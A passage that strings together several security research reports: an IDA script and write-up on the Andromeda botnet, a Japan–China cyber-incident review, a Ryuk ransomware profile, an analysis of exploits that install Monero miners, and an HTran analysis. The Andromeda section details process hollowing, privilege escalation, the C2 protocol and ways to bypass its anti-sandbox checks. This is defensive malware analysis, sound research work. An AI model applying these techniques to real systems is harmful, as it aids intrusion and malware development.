def rc4crypt(data, key):
x = 0
box = bytearray(range(256))
for i in range(256):
x = (x + box[i] + key[i % len(key)]) % 256
box[i], box[x] = box[x], box[i]
x, y = 0, 0
out = bytearray()
for byte in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out += bytearray([byte ^ box[(box[x] + box[y]) % 256]])
return out
def fix_payload_relocs_and_import(segment, relocs_offset):
current_offset = 0
# processing relocations
while True:
base = Dword(segment + relocs_offset + current_offset)
size = Dword(segment + relocs_offset + current_offset + 4)
if (base == 0 and current_offset != 0) or size == 0:
current_offset += 4
break
current_offset += 8
size = (size - 8) // 2
for i in range(size):
reloc = Word(segment + relocs_offset + current_offset)
if reloc & 0x3000:
reloc = reloc & 0xFFF
PatchDword(segment + base + reloc, Dword(segment + base + reloc) + segment)
SetFixup(segment + base + reloc, idaapi.FIXUP_OFF32 or idaapi.FIXUP_CREATED, 0,
Dword(segment + base + reloc) + segment, 0)
current_offset += 2
# processing imports
while True:
module_hash = Dword(segment + relocs_offset + current_offset)
import_offset = Dword(segment + relocs_offset + current_offset + 4)
current_offset += 8
if module_hash == 0 or import_offset == 0:
break
module = None
for library in iter(IMPORTS):
if module_hash == calc_hash(library.lower()):
module = library
while True:
func_hash = Dword(segment + relocs_offset + current_offset)
current_offset += 4
if func_hash == 0:
break
if module is not None:
for function in iter(IMPORTS[module]):
if func_hash == calc_hash(function):
MakeDword(segment + import_offset)
MakeName(segment + import_offset, SegName(segment) + '_' + module.split('.')[0] + '_' + function)
else:
print('Import not found: module = 0x{0:08X}, function = 0x{1:08X}'.format(module_hash, func_hash))
import_offset += 4
return
def decrypt_payload(encrypted_addr, rc4key, encrypted_size, unpacked_size, entry_point, relocs, relocs_size):
buffer = bytearray(encrypted_size)
for i in range(len(buffer)):
buffer[i] = Byte(encrypted_addr + i)
decrypted = rc4crypt(buffer, rc4key)
unpacked = decompress(str(decrypted)).do()
# checking for free segment address
seg_start = 0x10000000
while SegName(seg_start) != "":
seg_start += 0x10000000
AddSeg(seg_start, seg_start + unpacked_size, 0, 1, idaapi.saRelPara, idaapi.scPub)
# copying data to new segment
data = unpacked[0]
for i in range(len(data)):
PatchByte(seg_start + i, ord(data[i]))
fix_payload_relocs_and_import(seg_start, relocs)
MakeFunction(seg_start + entry_point)
return
def main():
payload_addr = AskAddr(ScreenEA(), "Enter address of andromeda payload")
if payload_addr != idaapi.BADADDR and payload_addr is not None:
payload = bytearray(0x28)
for i in range(len(payload)):
payload[i] = Byte(payload_addr + i)
dwords = struct.unpack_from('<LLLLLL', bytes(payload), 0x10)
decrypt_payload(payload_addr + 0x28, payload[:16], dwords[0], dwords[2], dwords[3], dwords[4], dwords[5])
if __name__ == '__main__':
main()
```
At the end, you see the call to: 00401532 |. FFD0 CALL EAX. This will transfer the control to the payload.
The next step shows anti-analysis tricks that are employed. The call at VA 7FF91408 is iterating through process names and computing their CRC32 hash values. If a hash value matches any of those on a list of hash values of VM processes and monitoring tools like wireshark.exe, etc., this indicates that the debugging process is inside a sandbox environment or being monitored.
Furthermore, this trick is not changed. As in version 2.07 and 2.08, the 2.09 version continues to calculate the CRC32 hash of the volume name of drive C:, which is then compared with the hardcoded value 0x20C7DD84. If you get caught, you will run in an infinite loop that calls ZwDelayExecution! Just patch the JNZ after the call or put RET in ZwDelayExecution.
After that, I think that the CALL at VA 7FF91420 is trying to set up a KiFastSystemCall hook. This API is the lowest level API available in the “user mode” layer, aka Ring3. All application calls pass from KiFastSystemCall, which redirects all those controls onto the Windows Kernel via an instruction called SYSENTER.
Next, because processes run by the user can’t do everything like writing in explorer.exe memory, the malware is trying to use SeDebugPrivilege and calling ZwAdjustTokenPrivilege to escalate to System privileges. It calls the SetEnvironmentVariableW API to save the original bot’s full path to the environment variable. Afterwards, it comes the injection process. Depending on whether you have a 32 or a 64-bit operating system, the malware will launch a hallowed version of msiexe.exe and inject its code there.
## Code Injection
The injection process involves several steps:
As with the previous versions, the malware calls CreateFile to get the handle of the file it wants to inject. It then gets its section handle by calling ZwCreateSection, which is used by ZwMapViewOfSection to get the image of the file in memory. From this image, it extracts the size of the image and the address of the entry point from the PE header.
A memory address with the same size as that of the image of the file that it wants to inject is created with PAGE_EXECUTE_READWRITE access. Then the image of the file is copied over to this memory address.
Another memory address is created with the same size as that of the image of the original bot file, also with PAGE_EXECUTE_READWRITE access. The original file is then copied over to this new memory address.
A suspended process of the file to be injected is created. The memory address containing the original file is unmapped. ZwMapViewOfSection is called with the bot’s file handle and the process handle (acquired from creating the suspended file process). So now the injected file’s process handle has a map view of the botnet file. The final step is the call to ZwResumeThread, which resumes the process.
If the user is an admin, it checks that with CheckTokenMembership, it installs into “%ALLUSERPROFILE%” and autostarts using an uncommon Registry Path “software\microsoft\windows\currentversion\Policies\Explorer\Run” – with a random Key name. If not, it only installs into “%USERPROFILE%”.
## CnC Communication
Before establishing a connection, the bot prepares the message to be sent to the C&C server. It uses the following format: `id:%lu|bid:%lu|os:%lu|la:%lu|rg:%lu`. This string is encrypted using RC4 with a hard-coded key of length 0x20 and is further encoded using base64. The message is then sent to the server. Once a message is received, the bot calculates the CRC32 hash of the message without including the first DWORD. If the calculated hash matches the first DWORD, the message is valid. Later it is decrypted using RC4 with the VolumeSerialNumber as the key. After the RC4 decryption, the message is in the format `gn([base64-encoded string])`. This used to be just the base64-encoded string, but for some reason, the author decided not to make the server backward compatible with the older bot versions. Then it decodes the base64 string inside the brackets to get the message in plain text.
The first DWORD of the message is used as a multiplier to multiply a value in a fixed offset. The DWORD in that offset is used as an interval to delay calling the thread again to establish another connection. The next byte indicates what action to carry out – there are seven options:
- **Case 1 (download EXE)**: Connect to the domain decrypted from the message to download an EXE file. Save the file to the %tmp% location with a random name and run the process.
- **Case 2 (load plug-ins)**: Connect to the domain decrypted from the message, install and load plug-ins. The plug-ins are decrypted by RC4 using the same key of length 0x20h.
- **Case 3 (update case)**: Connect to the domain to get the update EXE file. If a file name of VolumeSerialNumber is present in the registry, then save the PE file to the %tmp% location with a random name; else save it to the current location with the name of the file as VolumeSerialNumber. The file in %tmp% is run, while the current process terminates. It also sends the message ‘kill’ xor’ed by VolumeSerialNumber to terminate the older process.
- **Case 4 (download DLL)**: Connect to the domain and save the DLL file to the %alluserprofile% location. The file is saved as a .dat file with a random name and loaded from a specified export function. The registry is modified so it can be auto-loaded by the bot.
- **Case 5 (delete DLLs)**: Delete and uninstall all the DLLs loaded and installed in Case 4.
- **Case 6 (delete plug-ins)**: Uninstall all the plug-ins loaded in Case 3.
- **Case 7 (uninstall bot)**: Suspend all threads and uninstall the bot.
After executing the action based on which instruction it received, another message is sent to the server to notify it that the action has been completed: `id:%lu|tid:%lu|res:%lu`.
- `id` is the VolumeSerialNumber
- `tid` is the next byte (task id) after the byte displaying the case number in the message received
- `res` is the result of whether or not the task was carried out successfully.
Once the message has been sent, the thread exits and waits for the delay interval period to pass before it reconnects to the server to receive additional instructions.
## Conclusion
Andromeda’s current version 2.09 increased the barriers that it has set up for security researchers. The new features raise additional difficulty for analysis but are still easy to skip. We anticipate that the Andromeda botnet will keep on evolving. Our botnet monitoring system is continuing to track its activities, and we will respond immediately when it enters its next generation.
|
# A One-Sided Affair: Japan and the People's Republic of China in Cyberspace
## Author: Stefan Soesanto
### Introduction
This Hotspot analysis takes a deep dive into the cyber threat landscape between Japan and the People’s Republic of China. In contrast to other reports, this analysis primarily looks at relevant incidents that have had the potential to spill into the political realm. It does not touch upon traditional cybercrime, background noise activities, or minor cyber-related incidents.
Section two provides political background on four issues deemed constants in Japan-PRC relations and explains the historical evolution of cybersecurity and defense policies in both countries. Section three presents a chronological overview of relevant cyber incidents, including infection vectors and attribution assessments. Sections four and five identify the various teams connected to these incidents and extend insights into their history and current state of play. Section six outlines social, economic, technical, and international effects resulting from the overall cyber threat landscape. Section seven concludes the analysis with a look into the future.
### Background
1. **Historic Animosity**: Between 1930 and 1945, Imperial Japan waged an aggressive colonization campaign against large parts of mainland China, which saw mass atrocities, such as the Nanjing massacre, and human experimentation for biological warfare purposes (ex. Unit 731). These war wounds have never healed despite numerous friendship treaties between both countries, rapidly expanding trade relations, offers of reparation payments, and longstanding Japanese official development assistance to China. Historical animosity is still leveraged by Beijing to rally support around nationalistic sentiments and to deflect any form of criticism voiced by Tokyo.
2. **The Rise of China**: Between 1946 and 1992, Japan experienced an era of rapid economic growth, propelling it to become the world’s second-largest economy behind the United States. China opened itself up to foreign trade and investment in 1979 and overtook Japan in 2010/11 when measured in nominal GDP. The rise of China has serious security implications for Japan, ranging from Beijing’s increased military spending and modernization efforts to Chinese hegemonic assertions abroad.
3. **Territorial Dispute**: The Diaoyu/Senkaku Islands are currently administered by the Japanese government and claimed by both China and Taiwan. The territorial dispute flares up occasionally when Chinese submarines, frigates, and fishing trawlers enter the contiguous zone around the islands, or Chinese jet fighters violate Japanese airspace above.
4. **Military Alliance**: In the aftermath of World War II, Japan committed itself to a pacifist constitution, which under Article 9 proclaims that “the Japanese people forever renounce war as a sovereign right of the nation and the threat or use of force as means of settling international disputes.” The Japanese Ministry of Defense has placed the section on China’s defense policies second behind the United States for the first time since 2007.
### Threat Landscape Chronology
This section provides a chronological overview of relevant events between 2000 and 2019, pertaining to the interaction between Japan and the People’s Republic of China in cyberspace.
- **Jan. 29, 2000**: In reaction to Tokyo’s decision to give the go-ahead to a controversial conference in Osaka, Chinese nationalistic hacktivists bombarded e-mail inboxes, redirected queries to porn sites, and defaced several Japanese websites with anti-Japanese messages.
- **March 2011**: APT12/IXESHE was targeting Japanese organizations during the Fukushima nuclear disaster, likely done to close intelligence gaps on the ground cleanup/mitigation operation.
- **Sept. 18-19, 2012**: The dispute over the Senkaku/Diaoyu islands intensifies as Tokyo decided to buy the islands. The Honker Union conducts DDoS attacks, doxing campaigns, and defacements against 19 Japanese websites.
- **Jan. 1, 2013**: Citing government sources, the Daily Yomiuri reports that the computer of an employee at the Japanese Ministry of Agriculture, Forestry, and Fisheries had been infected last year. More than 3000 documents were exfiltrated, including 20 top-secret documents on the Trans-Pacific Partnership (TPP) free trade pact negotiations.
- **April 14, 2015**: Palo Alto Network’s Unit 42 identifies a new DragonOK backdoor deployed against Japanese targets in at least five phishing campaigns.
### Japanese Cybersecurity & Defense Policy
On November 30, 1985, the Japan Revolutionary Communist League simultaneously targeted key rail communication and signal systems in and around Tokyo and Osaka. The group succeeded in knocking out numerous switching systems, telephone hookups, and computerized booking operations, effectively shutting down 23 commuter lines during the morning rush hour for approximately 6.5 to 12 million commuters.
It took another 15 years for the Japanese government to be eventually ‘shocked’ by two events to take cybersecurity and cyber defense seriously. The Metropolitan police agency set up a special squad of 50 police officers to investigate internet crime, and the government said it would dispatch officials to the US to seek advice on measures to prevent cyber terrorism.
### Chinese Cybersecurity & Defense Policy
Parallel to Beijing opening itself up to the internet in the mid-1990s, Chinese military planners and domestic security services recognized the dangers of so-called ‘informatization’ – a term that describes the comprehensive integration of information technology to impact all aspects of society and mechanisms of statehood, including domestic security and modern warfare.
In November 2012, Xi Jinping announced the creation of the Central Leading Group for Cybersecurity and Informatization. Over the years, this high-level group has become central to pulling together China’s fragmented cyber policy landscape and direct change from the top.
### Conclusion
The cyber threat landscape between Japan and the People’s Republic of China is shaped by historical animosities, rising geopolitical tensions, and evolving cybersecurity policies. Both nations continue to navigate a complex relationship marked by competition and conflict in cyberspace.
|
# Threat Spotlight: The Curious Case of Ryuk Ransomware
**Jovi Umawing**
**December 12, 2019**
Ryuk. A name once unique to a fictional character in a popular Japanese comic book and cartoon series is now a name that appears in several rosters of the nastiest ransomware to ever grace the wild web. For an incredibly young strain—only 15 months old—Ryuk ransomware gaining such notoriety is quite a feat to achieve. Unless the threat actors behind its campaigns call it quits, too—Remember GandCrab?—or law enforcement collars them for good, we can only expect the threat of Ryuk to loom large over organizations.
First discovered in mid-August 2018, Ryuk immediately turned heads after disrupting operations of all Tribune Publishing newspapers over the Christmas holiday that year. What was initially thought of as a server outage soon became clear to those affected that it was actually a malware attack. It was quarantined eventually; however, Ryuk re-infected and spread onto connected systems in the network because the security patches failed to hold when tech teams brought the servers back.
## Big Game Hunting with Ryuk Ransomware
Before the holiday attack on Tribune Publishing, Ryuk had been seen targeting various enterprise organizations worldwide, asking ransom payments ranging from 15 to 50 Bitcoins (BTC). That translates to between US$97,000 and $320,000 at time of valuation. This method of exclusively targeting large organizations with critical assets that almost always guarantees a high ROI for criminals is called “big game hunting.” It’s not easy to pull off, as such targeted attacks also involve the customization of campaigns to best suit targets and, in turn, increase the likelihood of their effectiveness. This requires much more work than a simple “spray-and-pray” approach that can capture numerous targets but may not net such lucrative results.
For threat actors engaged in big game hunting, malicious campaigns are launched in phases. For example, they may start with a phishing attack to gather key credentials or drop malware within an organization’s network to do extensive mapping, identifying crucial assets to target. Then they might deploy second and third phases of attacks for extended espionage, extortion, and eventual ransom.
To date, Ryuk ransomware is hailed as the costliest among its peers. According to a report by Coveware, a first-of-its-kind incident response company specializing in ransomware, Ryuk’s asking price is 10 times the average, yet they also claim that ransoms are highly negotiable. The varying ways adversaries work out ransom payments suggests that there may be more than one criminal group who have access to and are operating Ryuk ransomware.
## The Who Behind Ryuk
Accurately pinpointing the origin of an attack or malware strain is crucial, as it reveals as much about the threat actors behind attack campaigns as it does the payload itself. The name “Ryuk,” which has obvious Japanese ties, is not a factor to consider when trying to discover who developed this ransomware. After all, it’s common practice for cybercriminals to use handles based on favorite anime and manga characters. These days, a malware strain is more than its name.
Instead, similarities in code base, structure, attack vectors, and languages can point to relations between criminal groups and their malware families. Security researchers from Check Point found a connection between the Ryuk and Hermes ransomware strains early on due to similarities in their code and structure, an association that persists up to this day. Because of this, many have assumed that Ryuk may also have ties with the Lazarus Group, the same North Korean APT group that operated the Hermes ransomware in the past.
However, code likeness alone is insufficient basis to support the Ryuk/North Korean ties narrative. Hermes is a ransomware kit that is frequently peddled on the underground market, making it available for other cybercriminals to use in their attack campaigns. Furthermore, separate research from cybersecurity experts at CrowdStrike, FireEye, Kryptos Logic, and McAfee has indicated that the gang behind Ryuk may actually be of Russian origin—and not necessarily nation-state sponsored.
As of this writing, the origins of Ryuk ransomware can be attributed (with high confidence, per some of our cybersecurity peers) to two criminal entities: Wizard Spider and CryptoTech. The former is the well-known Russian cybercriminal group and operator of TrickBot; the latter is a Russian-speaking organization found selling Hermes 2.1 two months before the $58.5 million cyber heist that victimized the Far Eastern International Bank (FEIB) in Taiwan. According to reports, this version of Hermes was used as a decoy or “pseudo-ransomware,” a mere distraction from the real goal of the attack.
### Wizard Spider
Recent findings have revealed that Wizard Spider upgraded Ryuk to include a Wake-on-LAN (WoL) utility and an ARP ping scanner in its arsenal. WoL is a network standard that allows computing devices connected to a network—regardless of which operating system they run—to be turned on remotely whenever they’re turned off, in sleep mode, or hibernating. ARP pinging, on the other hand, is a way of discovering endpoints in a LAN network that are online. According to CrowdStrike, these new additions reveal Wizard Spider’s attempts to reach and infect as many of their target’s endpoints as they can, demonstrating a persistent focus and motivation to increasingly monetize their victims’ encrypted data.
### CryptoTech
Two months ago, Gabriela Nicolao and Luciano Martins, both researchers at Deloitte Argentina, attributed Ryuk ransomware to CryptoTech, a little-known cybercriminal group that was observed touting Hermes 2.1 in an underground forum back in August 2017. Hermes 2.1, the researchers say, is Ryuk ransomware.
In a Virus Bulletin conference paper and presentation entitled *Shinigami’s Revenge: The Long Tail of the Ryuk Ransomware*, Nicolao and Martins presented evidence to this claim: In June 2018, a couple of months before Ryuk made its first public appearance, an underground forum poster expressed doubt on CryptoTech being the author of Hermes 2.1, the ransomware toolkit they were peddling almost a year ago that time. CryptoTech’s response was interesting, which Nicolao and Martins captured and annotated in the screenshot below.
*CryptoTech: Yes, we developed Hermes from scratch.*
The Deloitte researchers also noted that after Ryuk emerged, CryptoTech went quiet. CrowdStrike has estimated that from the time Ryuk was deployed until January of this year, their operators have netted a total of 705.80 BTC, which is equivalent to US$5 million as of press time.
## Ryuk Ransomware Infection Vectors
There was a time when Ryuk ransomware arrived on clean systems to wreak havoc. But new strains observed in the wild now belong to a multi-attack campaign that involves Emotet and TrickBot. As such, Ryuk variants arrive on systems pre-infected with other malware—a “triple threat” attack methodology.
The first stage of the attack starts with a weaponized Microsoft Office document file—meaning, it contains malicious macro code—attached to a phishing email. Once the user opens it, the malicious macro will run cmd and execute a PowerShell command. This command attempts to download Emotet.
Once Emotet executes, it retrieves and executes another malicious payload—usually TrickBot—and collects information on affected systems. It initiates the download and execution of TrickBot by reaching out to and downloading from a pre-configured remote malicious host.
Once infected with TrickBot, the threat actors then check if the system is part of a sector they are targeting. If so, they download an additional payload and use the admin credentials stolen using TrickBot to perform lateral movement to reach the assets they wish to infect. The threat actors then check for and establish a connection with the target’s live servers via a remote desktop protocol (RDP). From there, they drop Ryuk.
## Symptoms of Ryuk Infection
Systems infected with the Ryuk ransomware display the following symptoms:
- **Presence of ransomware notes.** Ryuk drops the ransom note, RyukReadMe.html or RyukReadMe.txt, in every folder where it has encrypted files. The HTML file contains two private email addresses that affected parties can use to contact the threat actors, either to find out how much they need to pay to get access back to their encrypted files or to start the negotiation process. The TXT ransom note contains (1) explicit instructions laid out for affected parties to read and comply, (2) two private email addresses affected parties can contact, and (3) a Bitcoin wallet address. Although email addresses may vary, it was noted that they are all accounts served at Protonmail or Tutanota. It was also noted that a day after the unsealing of the indictment of two ransomware operators, Ryuk operators removed the Bitcoin address from their ransom notes, stating that it will be given to those affected once they are contacted via email.
There are usually two versions of the text ransom note: a polite version, which past research claims is comparable to BitPaymer’s due to certain similar phrasings; and a not-so-polite version.
- **Encrypted files with the RYK string attached to extension names.** Ryuk uses a combination of symmetric (via the use of AES) and asymmetric (via the use of RSA) encryption to encode files. A private key, which only the threat actor can supply, is needed to properly decrypt files. Encrypted files will have the .ryk file extension appended to the file names. For example, an encrypted sample.pdf and sample.mp4 files will have the sample.pdf.ryk and sample.mp4.ryk file names, respectively. This scheme is effective, assuming that each Ryuk strain was tailor-made for their target organization.
While Ryuk encrypts files on affected systems, it avoids files with the extension .exe, .dll, and .hrmlog (a file type associated with Hermes). Ryuk also avoids encrypting files in the following folders:
- AhnLab
- Chrome
- Microsoft
- Mozilla
- Recycle.bin
- Windows
## Protect Your System from Ryuk
Malwarebytes continues to track Ryuk ransomware campaigns, protecting our business users with real-time anti-malware and anti-ransomware technology, as well as signature-less detection, which stops the attack earlier on in the chain. In addition, we protect against triple threat attacks aimed at delivering Ryuk as a final payload by blocking downloads of Emotet or TrickBot.
We recommend IT administrators take the following actions to secure and mitigate against Ryuk ransomware attacks:
- Educate every employee in the organization, including executives, on how to correctly handle suspicious emails.
- Limit the use of privilege accounts to only a select few in the organization.
- Avoid using RDPs without properly terminating the session.
- Implement the use of a password manager and single sign-on services for company-related accounts. Do away with other insecure password management practices.
- Deploy an authentication process that works for the company.
- Disable unnecessary share folders, so that in the event of a Ryuk ransomware attack, the malware is prevented from moving laterally in the network.
- Make sure that all software installed on endpoints and servers is up to date and all vulnerabilities are patched. Pay particular attention to patching CVE-2017-0144, a remote code-execution vulnerability. This will prevent TrickBot and other malware exploiting this weakness from spreading.
- Apply attachment filtering to email messages.
- Disable macros across the environment.
## Indicators of Compromise (IOCs)
Take note that professional cybercriminals sell Ryuk to other criminals on the black market as a toolkit for threat actors to build their own strain of the ransomware. As such, one shouldn’t be surprised by the number of Ryuk variants that are wreaking havoc in the wild. Below is a list of file hashes that we have seen so far:
- cb0c1248d3899358a375888bb4e8f3fe
- d4a7c85f23438de8ebb5f8d6e04e55fc
- 3895a370b0c69c7e23ebb5ca1598525d
- 567407d941d99abeff20a1b836570d30
- c0d6a263181a04e9039df3372afb8016
As always—stay safe, everyone!
|
# Vulnerabilities Exploited for Monero Mining Malware
We looked into exploitation attempts we observed in the wild and the abuse of legitimate platforms Netlify and GitHub as repositories for malware.
By: Nitesh Surana
Earlier this year, a security flaw identified as CVE-2021-41773 was disclosed to Apache HTTP Server Project, a path traversal and remote code execution (RCE) flaw in Apache HTTP Server 2.4.49. If this vulnerability is exploited, it allows attackers to map URLs to files outside the directories configured by Alias-like directives. Under certain configurations where Common Gateway Interface (CGI) scripts are enabled for aliased paths, attackers can also use it for RCE. As the initial fix was deemed insufficient, a bypass was later reported for the fix and tracked as CVE-2021-42013.
Official fixes have been rolled out by Apache HTTP Server Project. However, when we looked at the malicious samples abusing this vulnerability, we found more of these exploits being abused to target different gaps in products and packages for malicious mining of Monero. In this blog, we look into the abuse of GitHub and Netlify repositories and platforms for hosting cryptocurrency-mining tools and scripts. We have already informed GitHub and Netlify of the malicious activities and they have taken down the accounts.
## Technical details
We observed attackers targeting the following package and products via security vulnerabilities disclosed in 2020 and 2021 for malicious cryptocurrency-mining activities through samples caught in our honeypots:
1. Atlassian Confluence (CVE-2021-26084 and CVE-2021-26085)
2. F5 BIG-IP (CVE-2020-5902 and CVE-2021-22986)
3. VMware vCenter (CVE-2021-22005, CVE-2021-21985, CVE-2021-21972, and CVE-2021-21973)
4. Oracle WebLogic Server (CVE-2020-14882, CVE-2020-14750, and CVE-2020-14883)
5. Apache HTTP Server (CVE-2021-40438, CVE-2021-41773, and CVE-2021-42013)
We found it interesting that all the products and the particular package have had widely distributed public proofs of concept for pre-auth RCE. Looking at the Monero wallet from one such mining pool, we saw that the operation is still ongoing and actively accumulating Monero as of this writing.
## Services abused: Targeting Windows hosts
The miner samples we found work on and abuse both Windows and Linux platforms. While the exploits used differ according to the infrastructure targeted, the batch scripts we identified work on both. We saw the usage of Netlify and GitHub as the malware file servers for downloading batch scripts from an attacker-controlled account. The batch script is renamed as a temporary file and deleted after it starts running in the background.
The scripts (c3.bat) are a modified version of Monero-mining helper scripts abridged from GitHub, and these begin checking if the current session has administrative privileges. If the privilege is of the Administrator, then the ADMIN flags are set. Afterward, the length of the Monero wallet address is calculated. If the length is not 106 or 95 characters, the script exits. If it is 106 or 95, it jumps to “WALLET_LEN_OK” statement.
The script further conducts a series of checks in the system, such as if the USERPROFILE environment variable is defined, and whether utilities like wmic, powershell, find, findstr, and tasklist are available or not.
The wmic utility is used to further enumerate specific parameters in the system, such as the number of processors, maximum clock speed, L2 and L3 cache sizes, and CPU sockets. These values are later used to calculate the Monero mining rate of the Windows host. For different mining rates, different ports are used on the mining pool.
After identifying the CPU’s computing power, the running c3pool_miner is removed from the host. The zipped miner (c3.zip) is then downloaded from the attacker-controlled GitHub repository and PowerShell is used to unzip the downloaded file. If the unzip attempt fails, 7z is downloaded to extract the zipped file, and both the downloaded files (7za.exe and c3.zip) are deleted after.
The script also goes on to install the latest version of XMRig for Windows from the official repository. After unzipping the downloaded file, the 7z binary and XMRig ZIP files are removed. Once the miner is successfully installed, the config files are modified using PowerShell.
If the miner is already running (c3.exe), the execution jumps to an ALREADY_RUNNING label. If not, the miner is executed using the “start” command in the IDLE priority class. If the current user has administrative privileges, then execution jumps to the label ADMIN_MINER_SETUP. If not, persistence is added by modifying the Startup directory with the batch scripts to execute c3pool XMR miner with the configuration file.
A service is created from the c3cache_worker using the Non-Sucking Service Manager (NSSM). NSSM is a service helper program that helps install applications as services, and with it a user can specify logging to user-defined files.
## Targeting Linux hosts
The shell script starts with an infinite loop to remove all competing cryptominers found in the infected system, such as kinsing, kdevtmpfsi, pty86, and .javae. After all the competing miners are wiped out, the attribute of /var/spool/cron/root is made immutable and crontab is reloaded. Then, if there are any processes except java, redis, weblogic, mongod, mysql, oracle, tomcat, grep, postgres, confluence, awk, and aux that are raking up more than 60% of CPU usage, they are terminated.
A function “func1” (redacted) is called and the loop is reiterated after every 30 seconds. We observed two content delivery networks (CDNs) being used as the FILE_CC_SERVER in GitHub and Netlify. In func1, a process “java.xnk” is checked for and if the CPU usage is above or equal to 60%, the process ID is fetched into a variable “p”. If the variable is empty, then the process is killed and three directories are created, namely:
- /var/tmp/java.xnk
- /var/lock/java.xnk
- /tmp/java.xnk
Different paths for “wget” and “curl” binaries are checked for and assigned to variable Wget. A file “java.xnk.bionic” is checked in the path “$DIR”. If the file doesn’t exist, the valid Wget command is used to download and copy the file named “bionic” (a Monero miner) and “config.json,” which contains the Monero wallet address. Executable permissions are assigned for the downloaded binary and the binary is executed via nohup. Similarly, the following binaries are downloaded and executed in place of the file “bionic” and repeat the process:
1. focal as java.xnk.focal
2. freebsd as java.xnk.freebsd
3. linuxstatic as java.xnk.linux
4. xenial as java.xnk.xenial
5. xmr-stak as java.xnk.stak
## Conclusion
Based on the frequency of attempts on the targeted products and the particular package in the past month, we believe there are more servers that remain unpatched and exposed to these exploits. More importantly, malicious actors will continue targeting these products and packages for intrusion based on the availability of the proofs of concept, as well as the higher likelihood that these servers have yet to be patched. Moreover, due to the wide usage of Linux and Windows platforms and the fact that all the miners identified here work on both, illicit cryptocurrency mining makes for a lucrative business with regard to the high volume of systems that can be targeted.
The abuse of legitimate platforms such as GitHub and Netlify will continue due to the traffic being encrypted over HTTPS. If the machines targeted have intrusion detection and prevention solutions (IDS/IPS) in place, network artifacts will not contribute for detection. Moreover, IP reputation services will not flag these platforms as malicious because they are legitimate sources of programs and organizations. The CDNs of both platforms also offer ease and convenience in setting up an operation, as well as provide availability and speed — thus also aiding malicious actors with a wide and fast malware infection capability regardless of a victim’s location. These two factors in CDNs will likely prompt a development in the behavior of malicious actors who abuse these platforms for infection, even for routines and attacks unrelated to cryptocurrency mining.
From another perspective, the malicious actors targeting these devices can appear almost unsophisticated considering the use of public proofs for attacks. The actors also operate on a regular basis and target as many machines as they can, given that they continue operating and getting cryptocurrency in their respective wallets despite the suspension of their GitHub and Netlify accounts.
## Trend Micro solutions
Enterprises should consider using security solutions such as the Trend Micro Cloud One™ platform, which protects cloud-native systems by securing continuous integration and continuous delivery (CI/CD) pipelines and applications. The platform includes:
### Workload Security
Runtime protection for workloads. Trend Micro Cloud One clients are protected from this threat under these rules:
- Intrusion Prevention Rules
1. 1011171 - Apache HTTP Server Directory Traversal Vulnerability (CVE-2021-41773 and CVE-2021-42013)
2. 1011183 - Apache HTTP Server Server-Side Request Forgery Vulnerability (CVE-2021-40438)
3. 1011117 - Atlassian Confluence Server Remote Code Execution Vulnerability (CVE-2021-26084)
4. 1011177 - Atlassian Confluence Server Arbitrary File Read Vulnerability (CVE-2021-26085)
5. 1010850 - VMware vCenter Server Remote Code Execution Vulnerability (CVE-2021-21972 and CVE-2021-21973)
6. 1010983 - VMware vCenter Server Remote Code Execution Vulnerability (CVE-2021-21985)
7. 1011167 - VMware vCenter Server File Upload Vulnerability (CVE-2021-22005)
8. 1005934 - Identified Suspicious Command Injection Attack
9. 1005933 - Identified Directory Traversal Sequence In Uri Query Parameter
10. 1010388 - F5 BIG-IP TMUI Remote Code Execution Vulnerability (CVE-2020-5902)
11. 1010590 - Oracle WebLogic Server Remote Code Execution Vulnerabilities (CVE-2020-14882, CVE-2020-14750 and CVE-2020-14883)
12. 1011212 - F5 BIG-IP and BIG-IQ iControl REST Authentication Bypass Vulnerability (CVE-2021-22986)
### Log Inspection Rules
1. 1003447 – Web Server – Apache
### Integrity Monitoring Rules
1. 1002851 - Application - Apache HTTP Server
### Network Security
Cloud network layer intrusion prevention system (IPS) security. Trend Micro Cloud One clients are protected from this threat under these rules:
1. 1125: HTTP: ../.. Directory Traversal
2. 40260: HTTP: Atlassian Confluence Server and Data Center OGNL Injection Vulnerability
3. 40417: HTTP: Atlassian Confluence Server S Endpoint Information Disclosure Vulnerability
4. 39077: TCP: VMware vSphere Client vropspluginui Code Execution Vulnerability
5. 39923: HTTP: VMware vCenter Server Remote Code Execution Vulnerability
6. 40382: HTTP: VMware vCenter AsyncTelemetryController Arbitrary File Write Vulnerability
7. 40361: HTTP: VMware vCenter Analytics service File Upload
8. 39352: HTTP: F5 BIG-IP iControl REST Interface Login Request
9. 39364: HTTP: F5 BIG-IP bash Suspicious Command Execution Request
10. 39313: HTTP: F5 BIG-IP TMM Buffer Overflow Vulnerability
11. 22087: HTTPS: F5 iControl iCall Script Privilege Escalation Vulnerability
12. 37841: HTTP: F5 BIG-IP TMUI Code Execution Vulnerability
13. 39360: HTTP: F5 BIG-IP iControl REST filePath Command Injection Vulnerability
14. 38380: HTTP: Oracle WebLogic Server Remote Code Execution Vulnerability
### Indicators of Compromise (IOCs)
View the full list of IOCs here.
|
# HTran and the Advanced Persistent Threat
**Joe Stewart**
**Date: August 3, 2011**
While researching one of the malware families involved in the RSA breach disclosed in March 2011, Dell SecureWorks CTU observed an interesting pattern in the network traffic of a related sample (MD5: 53ba6845f57f8e9ef600ef166be3be14). When the sample under analysis attempted to connect to the C2 server at my.amazingrm.com (203.92.45.2), the server returned a succinct plain-text error message instead of the expected HTTP-formatted response:
`[SERVER] connection to funn`
Although the message was seemingly truncated, this pattern was enough to correlate the error string to a known (and fairly old) program called "HUC Packet Transmit Tool", or "HTran", for which source code can be readily found on the Internet. HTran is a rudimentary connection bouncer, designed to redirect TCP traffic destined for one host to an alternate host. The source code copyright notice indicates that HTran was authored by "lion", a well-known Chinese hacker and member of "HUC", the Honker Union of China. The purpose of this type of tool is to disguise either the true source or destination of Internet traffic in the course of hacking activity.
HTran contains several debugging messages throughout the source code that are sent to the console or to the connecting client in order to diagnose connection issues. The part of the HTran source code that generated the error message seen in the trojan C2 response is shown below:
```c
if(client_connect(sockfd2, host, port2) == 0) {
closesocket(sockfd2);
sprintf(buffer, "[SERVER] connection to %s:%d error\r\n", host, port2);
send(sockfd1, buffer, strlen(buffer), 0);
}
```
The code is written so that if the connection bouncer is unable to connect to the hidden destination in order to relay the incoming traffic, the formatted error message containing the target host and port parameters will be sent to the connecting client. As long as there are no connection issues, HTran might be a useful tool to hide a trojan C2's true location - but, in the case of any connection downtime between the HTran host and the hidden C2, HTran will betray the location of the hidden C2 host.
